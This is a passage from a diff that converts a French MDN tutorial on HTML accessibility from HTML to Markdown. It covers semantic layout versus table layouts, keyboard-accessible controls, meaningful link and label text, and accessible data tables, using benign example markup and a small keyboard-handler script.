continuer à naviguer dans le contenu.</p> - -<p>Les structures de table sont un vestige du passé – elles semblaient logiques lorsque le support CSS n’était pas répandu dans les navigateurs, mais elles semaient la confusion chez les utilisateurs de lecteurs d’écran, tout en étant mauvaises pour de nombreuses autres raisons (utilisation abusive des tableaux, nécessite plus de balisage, design manquant de souplesse). Ne les utilisez pas !</p> - -<p>Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un <a href="https://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">exemple plus moderne de structure de site Web</a>, qui pourrait ressembler à ceci :</p> - -<pre class="brush: html"><header> - <h1>Entête</h1> -</header> - -<nav> - <!-- navigation principale ici --> -</nav> +<br><br> +<font size="5">Mon sous-titre</font> +<br><br> +<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu! +<br><br> +<font size="5">My 2nd subheading</font> +<br><br> +Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière. +``` + +Si vous essayez notre version plus longue avec un lecteur d'écran (voir [la mauvaise sémantique](https://mdn.github.io/learning-area/accessibility/html/bad-semantics.html)), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite. + +Il y a aussi d'autres problèmes au-delà de l'accessibilité – le contenu est plus dur à mettre en forme avec le CSS, ou à manipuler avec JavaScript par exemple, car il n'y a pas d'élément à utiliser comme sélecteurs. + +#### Utiliser un langage clair + +Le langage que vous employez peut aussi affecter l'accessiblité. En général vous ne devriez pas utiliser un langage trop complexe, ni utiliser un jargon ou de l'argot inutiles. Cela ne profite pas qu'aux gens avec des handicaps congnitifs ou autres ; cela profite au lecteur pour qui le texte n'est pas écrit dans sa langue maternelle, pour des gens plus jeunes… à tout un chacun en fait ! Mis à part cela, vous devriez essayer d'éviter d'utiliser un langage et des caractères qui ne sont pas lus clairement à voix haute par le lecteur d'écran. Par exemple : + +- N'utilisez pas des tirets si vous le pouvez. Au lieu d'écrire 5–7, écrivez 5 à 7. +- Explicitez les abréviations — au lieu d'écrire Jan, écrivez Janvier. +- Explicitez les acronymes, au moins une ou deux fois. Au lieu d'écrire "HTML" en premier lieu, écrivez Hypertext Markup Language. + +### Disposition des pages + +Dans les âges sombres, les gens avaient pour habitude de créer les dispositions de leurs pages avec des tableaux HTML — en utilisant différentes cellules de ces tableaux pour contenir l'en-tête, le pied de page, une barre latérale, la colonne du contenu principal, etc. Ce n'est pas une bonne idée car un lecteur d'écran va donner des lectures déroutantes, surtout si la disposition est complexe et a de nombreux tableaux imbriqués. + +Essayez notre exemple [table-layout.html](http://mdn.github.io/learning-area/accessibility/html/table-layout.html), qui ressemble à quelque chose comme ça : + +```html +<table width="1200"> + <!-- main heading row --> + <tr id="heading"> + <td colspan="6"> + + <h1 align="center">Header</h1> + + </td> + </tr> + <!-- nav menu row --> + <tr id="nav" bgcolor="#ffffff"> + <td width="200"> + <a href="#" align="center">Home</a> + </td> + <td width="200"> + <a href="#" align="center">Our team</a> + </td> + <td width="200"> + <a href="#" align="center">Projects</a> + </td> + <td width="200"> + <a href="#" align="center">Contact</a> + </td> + <td width="300"> + <form width="300"> + <input type="search" name="q" placeholder="Search query" width="300"> + </form> + </td> + <td width="100"> + <button width="100">Go!</button> + </td> + </tr> + <!-- spacer row --> + <tr id="spacer" height="10"> + <td> -<!-- Voici le contenu principal de notre page --> -<main> - - <!-- Il contient un article --> - <article> - <h2>Intitulé de l'article</h2> - - <!-- contenu de l'article ici --> - </article> - - <aside> - <h2>en relation</h2> - - <!-- à part le contenu ici --> - </aside> - -</main> - -<!-- Et voici notre pied de page principal utilisé dans toutes les pages de notre site Web. --> - -<footer> - <!-- contenu du pied de page ici --> -</footer></pre> - -<p>Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes).</p> - -<p>Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir <a href="/fr/docs/Web/HTML/Element#Content_sectioning">Référence des éléments HTML</a>). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir <a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5</a> pour une idée de la prise en charge du lecteur d’écran).</p> - -<div class="note"> -<p><strong>Note :</strong> Outre le fait que votre contenu présente une bonne sémantique et une présentation attrayante, il convient que son ordre source soit logique : vous pouvez toujours le placer où vous le souhaitez à l'aide de CSS par la suite, mais vous devez définir l'ordre exact des sources pour commencer. les utilisateurs de lecteur d’écran qui se liront auront du sens.</p> -</div> + </td> + </tr> + <!-- main content and aside row --> + <tr id="main"> + <td id="content" colspan="4" bgcolor="#ffffff"> -<h3 id="Contrôles_de_linterface_utilisateur">Contrôles de l'interface utilisateur</h3> + <!-- main content goes here --> + </td> + <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"> + <h2>Related</h2> -<p>Par contrôles d'interface utilisateur, nous entendons les parties principales des documents web avec lesquelles les utilisateurs interagissent – le plus souvent des boutons, des liens et des contrôles de formulaire. Dans cette section, nous examinerons les problèmes d’accessibilité de base à prendre en compte lors de la création de tels contrôles. Des articles ultérieurs sur WAI-ARIA et le multimédia aborderont d'autres aspects de l'accessibilité de l'interface utilisateur.</p> + <!-- aside content goes here --> -<p>L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">accessibilité du clavier natif</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">code source</a>) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé.</p> + </td> + </tr> + <!-- spacer row --> + <tr id="spacer" height="10"> + <td> -<p><img alt="" src="button-focused-unfocused.png"></p> + </td> + </tr> + <!-- footer row --> + <tr id="footer" bgcolor="#ffffff"> + <td colspan="6"> + <p>©Copyright 2050 by nobody. All rights reversed.</p> + </td> + </tr> + </table> +``` -<p>Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). </p> +Si vous essayez de naviguer à l'aide d'un lecteur d'écran, cela vous indiquera probablement qu'il existe un tableau à examiner (bien que certains lecteurs d'écran puissent deviner la différence entre les présentations de tableau et les tableaux de données). Vous devrez ensuite (en fonction du lecteur d’écran que vous utilisez) devoir accéder à la table en tant qu’objet et en examiner les caractéristiques séparément, puis sortir à nouveau de la table pour continuer à naviguer dans le contenu. -<div class="note"> -<p><strong>Note :</strong> Différents navigateurs peuvent avoir différentes options de contrôle du clavier disponibles. Voir comment <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility">gérer les problèmes courants d'accessibilité</a> pour plus de détails.</p> -</div> +Les structures de table sont un vestige du passé – elles semblaient logiques lorsque le support CSS n’était pas répandu dans les navigateurs, mais elles semaient la confusion chez les utilisateurs de lecteurs d’écran, tout en étant mauvaises pour de nombreuses autres raisons (utilisation abusive des tableaux, nécessite plus de balisage, design manquant de souplesse). Ne les utilisez pas ! + +Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un [exemple plus moderne de structure de site Web](https://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/), qui pourrait ressembler à ceci : + +```html +<header> + <h1>Entête</h1> +</header> + +<nav> + <!-- navigation principale ici --> +</nav> + +<!-- Voici le contenu principal de notre page --> +<main> + + <!-- Il contient un article --> + <article> + <h2>Intitulé de l'article</h2> + + <!-- contenu de l'article ici --> + </article> + + <aside> + <h2>en relation</h2> + + <!-- à part le contenu ici --> + </aside> + +</main> + +<!-- Et voici notre pied de page principal utilisé dans toutes les pages de notre site Web. --> + +<footer> + <!-- contenu du pied de page ici --> +</footer> +``` + +Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes). + +Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir [Référence des éléments HTML](/fr/docs/Web/HTML/Element#Content_sectioning)). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir [Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5](http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/) pour une idée de la prise en charge du lecteur d’écran). + +> **Note :** Outre le fait que votre contenu présente une bonne sémantique et une présentation attrayante, il convient que son ordre source soit logique : vous pouvez toujours le placer où vous le souhaitez à l'aide de CSS par la suite, mais vous devez définir l'ordre exact des sources pour commencer. les utilisateurs de lecteur d’écran qui se liront auront du sens. + +### Contrôles de l'interface utilisateur -<p>Vous obtenez essentiellement ce comportement gratuitement, en utilisant simplement les éléments appropriés, par exemple :</p> +Par contrôles d'interface utilisateur, nous entendons les parties principales des documents web avec lesquelles les utilisateurs interagissent – le plus souvent des boutons, des liens et des contrôles de formulaire. Dans cette section, nous examinerons les problèmes d’accessibilité de base à prendre en compte lors de la création de tels contrôles. Des articles ultérieurs sur WAI-ARIA et le multimédia aborderont d'autres aspects de l'accessibilité de l'interface utilisateur. -<pre class="brush: html example-good"><h1>Liens</h1> +L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple [accessibilité du clavier natif](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé. -<p> Ceci est un lien vers <a href="https://www.mozilla.org">Mozilla</a>.</p> + -<p> Un autre lien, pour <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p> +Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). -<h2>Boutons</h2> +> **Note :** Différents navigateurs peuvent avoir différentes options de contrôle du clavier disponibles. Voir comment [gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility) pour plus de détails. -<p> - <button data-message="This is from the first button">Cliquez moi!</button> - <button data-message="This is from the second button"> Cliquez moi aussi !</button> - <button data-message="This is from the third button">Et moi!</button> -</p> +Vous obtenez essentiellement ce comportement gratuitement, en utilisant simplement les éléments appropriés, par exemple : -<h2>formulaire</h2> +```html example-good +<h1>Liens</h1> -<form> - <div> - <label for="name"> Remplis ton nom :</label> - <input type="text" id="name" name="name"> - </div> - <div> - <label for="age"> Entrez votre âge :</label> - <input type="text" id="age" name="age"> - </div> - <div> - <label for="mood"> Choisissez votre humeur :</label> - <select id="mood" name="mood"> - <option>Heureux</option> - <option> Triste </option> - <option> Fâché </option> - <option> Préoccupé </option> - </select> - </div> -</form></pre> +<p> Ceci est un lien vers <a href="https://www.mozilla.org">Mozilla</a>.</p> -<p>Cela signifie que vous devez utiliser des liens, des boutons, des éléments de formulaire et des étiquettes de manière appropriée (y compris l'élément {{htmlelement("label")}} pour les contrôles de formulaire).</p> +<p> Un autre lien, pour <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p> -<p>Cependant, il est encore une fois que les gens font parfois des choses étranges avec HTML. Par exemple, vous voyez parfois des boutons balisés en utilisant {{htmlelement("div")}}s, par exemple :</p> +<h2>Boutons</h2> -<pre class="brush: html example-bad"><div data-message="This is from the first button"> Cliquez-moi!</div> -<div data-message="This is from the second button"> Cliquez moi aussi!</div> -<div data-message="This is from the third button"> Et moi!</div></pre> +<p> + <button data-message="This is from the first button">Cliquez moi!</button> + <button data-message="This is from the second button"> Cliquez moi aussi !</button> + <button data-message="This is from the third button">Et moi!</button> +</p> -<p>Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont.</p> +<h2>formulaire</h2> -<h4 id="Remettre_laccessibilité_au_clavier">Remettre l'accessibilité au clavier</h4> +<form> + <div> + <label for="name"> Remplis ton nom :</label> + <input type="text" id="name" name="name"> + </div> + <div> + <label for="age"> Entrez votre âge :</label> + <input type="text" id="age" name="age"> + </div> + <div> + <label for="mood"> Choisissez votre humeur :</label> + <select id="mood" name="mood"> + <option>Heureux</option> + <option> Triste </option> + <option> Fâché </option> + <option> Préoccupé </option> + </select> + </div> +</form> +``` -<p>Ajouter de tels avantages en retour demande un peu de travail (vous pouvez utiliser un exemple de code dans notre exemple <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> – voir également le <a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">source code</a>). Ici, nous avons donné à nos faux boutons <code><div></code> la possibilité se focaliser (y compris via la touche Tab) en donnant à chacun l'attribut <code>tabindex="0"</code> :</p> +Cela signifie que vous devez utiliser des liens, des boutons, des éléments de formulaire et des étiquettes de manière appropriée (y compris l'élément {{htmlelement("label")}} pour les contrôles de formulaire). -<pre class="brush: html"><div data-message="This is from the first button" tabindex="0"> Cliquez-moi!</div> -<div data-message="This is from the second button" tabindex="0"> Cliquez moi aussi!</div> -<div data-message="This is from the third button" tabindex="0"> Et moi!</div></pre> +Cependant, il est encore une fois que les gens font parfois des choses étranges avec HTML. Par exemple, vous voyez parfois des boutons balisés en utilisant {{htmlelement("div")}}s, par exemple : -<p>Fondamentalement, l'attribut {{htmlattrxref("tabindex")}} est principalement destiné à permettre aux éléments que l'on peut cibler avec la touche Tab d'avoir un ordre de tabulation personnalisé (spécifié dans l'ordre numérique positif), au lieu d'être simplement tabulés dans leur ordre source par défaut. C'est presque toujours une mauvaise idée, car cela peut causer une confusion majeure. Utilisez-le uniquement si vous en avez vraiment besoin, par exemple si la mise en page affiche les éléments dans un ordre visuel très différent de celui du code source et si vous souhaitez que les éléments fonctionnent de manière plus logique. Il y a deux autres options pour <code>tabindex</code> :</p> +```html example-bad +<div data-message="This is from the first button"> Cliquez-moi!</div> +<div data-message="This is from the second button"> Cliquez moi aussi!</div> +<div data-message="This is from the third button"> Et moi!</div> +``` -<ul> - <li><code>tabindex="0"</code> – comme indiqué ci-dessus, cette valeur permet aux éléments qui ne sont pas normalement tabulables de le devenir. C’est la valeur la plus utile de <code>tabindex</code>.</li> - <li><code>tabindex="-1"</code> – cela permet aux éléments qui ne sont normalement pas tabulables d'être ciblés par le programme, par ex. via JavaScript, ou en tant que cible de liens.</li> -</ul> +Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont. -<p>Bien que l’addition ci-dessus nous permette de tabuler les boutons, elle ne nous permet pas de les activer via la touche Entrée/Retour. Pour ce faire, nous avons dû ajouter le bout de code JavaScript suivant :</p> +#### Remettre l'accessibilité au clavier -<pre class="brush: js">document.onkeydown = function(e) { +Ajouter de tels avantages en retour demande un peu de travail (vous pouvez utiliser un exemple de code dans notre exemple [fake-div-buttons.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html) – voir également le [source code](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html)). Ici, nous avons donné à nos faux boutons `<div>` la possibilité se focaliser (y compris via la touche Tab) en donnant à chacun l'attribut `tabindex="0"` : + +```html +<div data-message="This is from the first button" tabindex="0"> Cliquez-moi!</div> +<div data-message="This is from the second button" tabindex="0"> Cliquez moi aussi!</div> +<div data-message="This is from the third button" tabindex="0"> Et moi!</div> +``` + +Fondamentalement, l'attribut {{htmlattrxref("tabindex")}} est principalement destiné à permettre aux éléments que l'on peut cibler avec la touche Tab d'avoir un ordre de tabulation personnalisé (spécifié dans l'ordre numérique positif), au lieu d'être simplement tabulés dans leur ordre source par défaut. C'est presque toujours une mauvaise idée, car cela peut causer une confusion majeure. Utilisez-le uniquement si vous en avez vraiment besoin, par exemple si la mise en page affiche les éléments dans un ordre visuel très différent de celui du code source et si vous souhaitez que les éléments fonctionnent de manière plus logique. Il y a deux autres options pour `tabindex` : + +- `tabindex="0"` – comme indiqué ci-dessus, cette valeur permet aux éléments qui ne sont pas normalement tabulables de le devenir. C’est la valeur la plus utile de `tabindex`. +- `tabindex="-1"` – cela permet aux éléments qui ne sont normalement pas tabulables d'être ciblés par le programme, par ex. via JavaScript, ou en tant que cible de liens. + +Bien que l’addition ci-dessus nous permette de tabuler les boutons, elle ne nous permet pas de les activer via la touche Entrée/Retour. Pour ce faire, nous avons dû ajouter le bout de code JavaScript suivant : + +```js +document.onkeydown = function(e) { if(e.keyCode === 13) { // The Enter/Return key document.activeElement.onclick(e); } -}</pre> +} +``` -<p>Ici, nous ajoutons un écouteur à l’objet <code>document</code> pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété <code><a href="/fr/docs/Web/API/KeyboardEvent/keyCode">keyCode</a></code> de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton <code>onclick</code> à l'aide de <code>document.activeElement.onclick()</code>. <code><a href="/fr/docs/Web/API/Document/activeElement">activeElement</a></code> nous donne l'élément qui est actuellement ciblé sur la page.</p> +Ici, nous ajoutons un écouteur à l’objet `document` pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété [`keyCode`](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton `onclick` à l'aide de `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément qui est actuellement ciblé sur la page. -<div class="note"> -<p><strong>Note :</strong> N'oubliez pas que cette technique ne fonctionnera que si vous définissez vos gestionnaires d'événements d'origine via les propriétés du gestionnaire d'événements (par exemple, onclick), <code>addEventListener</code> ne fonctionnera pas.</p> -</div> +> **Note :** N'oubliez pas que cette technique ne fonctionnera que si vous définissez vos gestionnaires d'événements d'origine via les propriétés du gestionnaire d'événements (par exemple, onclick), `addEventListener` ne fonctionnera pas. + +C’est beaucoup de tracas supplémentaire pour reconstruire la fonctionnalité. Et il y aura sûrement d’autres problèmes. **Mieux vaut utiliser le bon élément pour le bon travail en premier lieu**. -<p>C’est beaucoup de tracas supplémentaire pour reconstruire la fonctionnalité. Et il y aura sûrement d’autres problèmes. <strong>Mieux vaut utiliser le bon élément pour le bon travail en premier lieu</strong>.</p> +#### Étiquettes de texte significatives -<h4 id="Étiquettes_de_texte_significatives">Étiquettes de texte significatives</h4> +Les étiquettes de texte de contrôle UI sont très utiles pour tous les utilisateurs, mais leur mise au point est particulièrement importante pour les utilisateurs handicapés. -<p>Les étiquettes de texte de contrôle UI sont très utiles pour tous les utilisateurs, mais leur mise au point est particulièrement importante pour les utilisateurs handicapés.</p> +Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac. -<p>Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac.</p> + -<p><img alt="" src="voiceover-formcontrols.png"></p> +Assurez-vous que vos étiquettes ont une signification hors contexte, qu'elles soient lues séparément ou dans le contexte du paragraphe dans lequel elles se trouvent. Par exemple, voici un exemple de texte de lien de qualité : -<p>Assurez-vous que vos étiquettes ont une signification hors contexte, qu'elles soient lues séparément ou dans le contexte du paragraphe dans lequel elles se trouvent. Par exemple, voici un exemple de texte de lien de qualité :</p> +```html example-good +<p> Les baleines sont vraiment des créatures géniales . <a href="whales.html"> En savoir plus sur les baleines </a>.</p> +``` -<pre class="brush: html example-good"><p> Les baleines sont vraiment des créatures géniales . <a href="whales.html"> En savoir plus sur les baleines </a>.</p></pre> +c'est un mauvais texte du lien : -<p>c'est un mauvais texte du lien :</p> +```html example-bad +<p> Les baleines sont des créatures vraiment impressionnantes. Pour en savoir plus sur les baleines, <a href="whales.html">cliquez ici</a>.</p> +``` -<pre class="brush: html example-bad"><p> Les baleines sont des créatures vraiment impressionnantes. Pour en savoir plus sur les baleines, <a href="whales.html">cliquez ici</a>.</p> -</pre> +> **Note :** Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la [création d'hyperliens](/fr/docs/Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks). Vous pouvez également voir quelques bons et mauvais exemples dans [Bons-liens.html](https://mdn.github.io/learning-area/accessibility/html/good-links.html) et [Mauvais-liens.html](https://mdn.github.io/learning-area/accessibility/html/bad-links.html). -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks">création d'hyperliens</a>. Vous pouvez également voir quelques bons et mauvais exemples dans <a href="https://mdn.github.io/learning-area/accessibility/html/good-links.html">Bons-liens.html</a> et <a href="https://mdn.github.io/learning-area/accessibility/html/bad-links.html">Mauvais-liens.html</a>.</p> +Les libellés de formulaire sont également importantes pour vous donner un indice sur ce que vous devez entrer dans chaque entrée de formulaire. Ce qui suit semble être un exemple assez raisonnable : + +```html example-bad + Remplis ton nom : <input type="text" id="name" name="name"> +``` + +Cependant, ce n'est pas très utile pour les utilisateurs handicapés. Dans l'exemple ci-dessus, rien n'associe de manière non équivoque l'étiquette à la saisie de formulaire et explique clairement comment la remplir si vous ne la voyez pas. Si vous y accédez avec certains lecteurs d’écran, vous ne recevrez peut-être qu’une description du type « éditer le texte". + +Ce qui suit est un exemple bien meilleur : + +```html example-good +<div> + <label for="name">Entrez votre nom:</label> + <input type="text" id="name" name="name"> </div> +``` -<p>Les libellés de formulaire sont également importantes pour vous donner un indice sur ce que vous devez entrer dans chaque entrée de formulaire. Ce qui suit semble être un exemple assez raisonnable :</p> +Avec le code comme celui-ci, le label sera clairement associée à input; la description ressemblera davantage à "Entrez votre nom: éditez le texte". -<pre class="brush: html example-bad"> Remplis ton nom : <input type="text" id="name" name="name"></pre> + -<p>Cependant, ce n'est pas très utile pour les utilisateurs handicapés. Dans l'exemple ci-dessus, rien n'associe de manière non équivoque l'étiquette à la saisie de formulaire et explique clairement comment la remplir si vous ne la voyez pas. Si vous y accédez avec certains lecteurs d’écran, vous ne recevrez peut-être qu’une description du type « éditer le texte".</p> +En prime, dans la plupart des navigateurs, associer a un label à une form input signifie que vous pouvez cliquer sur celle-ci pour sélectionner / activer l'élément label. Cela donne à input une zone de résultats plus grande, ce qui facilite la sélection -<p>Ce qui suit est un exemple bien meilleur :</p> +> **Note :** vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans [exemple de bon formulaire](https://mdn.github.io/learning-area/accessibility/html/good-form.html) et [exemple de mauvais formulaire](https://mdn.github.io/learning-area/accessibility/html/bad-form.html). -<pre class="brush: html example-good"><div> - <label for="name">Entrez votre nom:</label> - <input type="text" id="name" name="name"> -</div></pre> +## Tableaux de données accessibles -<p>Avec le code comme celui-ci, le label sera clairement associée à input; la description ressemblera davantage à "Entrez votre nom: éditez le texte".</p> +Une table de données de base peut être écrite avec un balisage très simple, par exemple : -<p><img alt="" src="voiceover-good-form-label.png"></p> +```html +<table> + <tr> + <td>Nom</td> + <td>Age</td> + <td>Sexe</td> + </tr> + <tr> + <td>Gabriel</td> + <td>13</td> + <td>Male</td> + </tr> + <tr> + <td>Elva</td> + <td>8</td> + <td>Femelle</td> + </tr> + <tr> + <td>Freida</td> + <td>5</td> + <td>Femelle</td> + </tr> +</table> +``` -<p>En prime, dans la plupart des navigateurs, associer a un label à une form input signifie que vous pouvez cliquer sur celle-ci pour sélectionner / activer l'élément label. Cela donne à input une zone de résultats plus grande, ce qui facilite la sélection</p> +Mais cela pose des problèmes : un utilisateur de lecteur d’écran ne peut pas associer des lignes ou des colonnes en tant que groupes de données. Pour ce faire, vous devez savoir quelles sont les lignes d'en-tête et si elles sont dirigées vers le haut, des colonnes, etc. Cela ne peut être fait que visuellement pour le tableau ci-dessus (voir bad-table.html et essayez vous-même l'exemple). -<div class="note"> -<p><strong>Note :</strong> vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans <a href="https://mdn.github.io/learning-area/accessibility/html/good-form.html">exemple de bon formulaire</a> et <a href="https://mdn.github.io/learning-area/accessibility/html/bad-form.html">exemple de mauvais formulaire</a>.</p> -</div> +Regardez maintenant notre tableau d'exemple sur les groupes punk – vous pouvez voir quelques aides à l'accessibilité au travail ici : -<h2 id="Tableaux_de_données_accessibles">Tableaux de données accessibles</h2> - -<p>Une table de données de base peut être écrite avec un balisage très simple, par exemple :</p> - -<pre class="brush: html"><table> - <tr> - <td>Nom</td> - <td>Age</td> - <td>Sexe</td> - </tr> - <tr> - <td>Gabriel</td> - <td>13</td> - <td>Male</td> - </tr> - <tr> - <td>Elva</td> - <td>8</td> - <td>Femelle</td> - </tr> - <tr> - <td>Freida</td> - <td>5</td> - <td>Femelle</td> - </tr> -</table></pre> - -<p>Mais cela pose des problèmes : un utilisateur de lecteur d’écran ne peut pas associer des lignes ou des colonnes en tant que groupes de données. Pour ce faire, vous devez savoir quelles sont les lignes d'en-tête et si elles sont dirigées vers le haut, des colonnes, etc. Cela ne peut être fait que visuellement pour le tableau ci-dessus (voir bad-table.html et essayez vous-même l'exemple).</p> - -<p>Regardez maintenant notre tableau d'exemple sur les groupes punk – vous pouvez voir quelques aides à l'accessibilité au travail ici :</p> - -<ul> - <li>Les en-têtes de tableau sont définis à l'aide d'éléments {{htmlelement("th")}} — vous pouvez également spécifier s'il s'agit d'en-têtes de lignes ou de colonnes à l'aide de l'attribut <code>scope</code>. Cela vous donne des groupes complets de données qui peuvent être consommés par les lecteurs d'écran en tant qu'unités simples</li> - <li>L'élément {{htmlelement("caption")}} et l'attribut summary <code><table></code> effectuent tous deux des travaux similaires. Ils agissent en tant que texte alternatif pour une table, offrant ainsi à un utilisateur de lecteur d'écran un résumé rapide et utile du contenu de la table. <code><caption></code> est généralement préféré car il rend son contenu accessible aux utilisateurs malvoyants, qui pourraient également le trouver utile. Vous n'avez pas vraiment besoin des deux.</li> -</ul> - -<div class="note"> -<p><strong>Note :</strong> voir notre article <a href="/fr/docs/Apprendre/HTML/Tableaux/Advanced">Tableaux HTML : dispositions avancées et accessibilité</a> pour plus de détails sur les tables de données accessibles.</p> -</div> +- Les en-têtes de tableau sont définis à l'aide d'éléments {{htmlelement("th")}} — vous 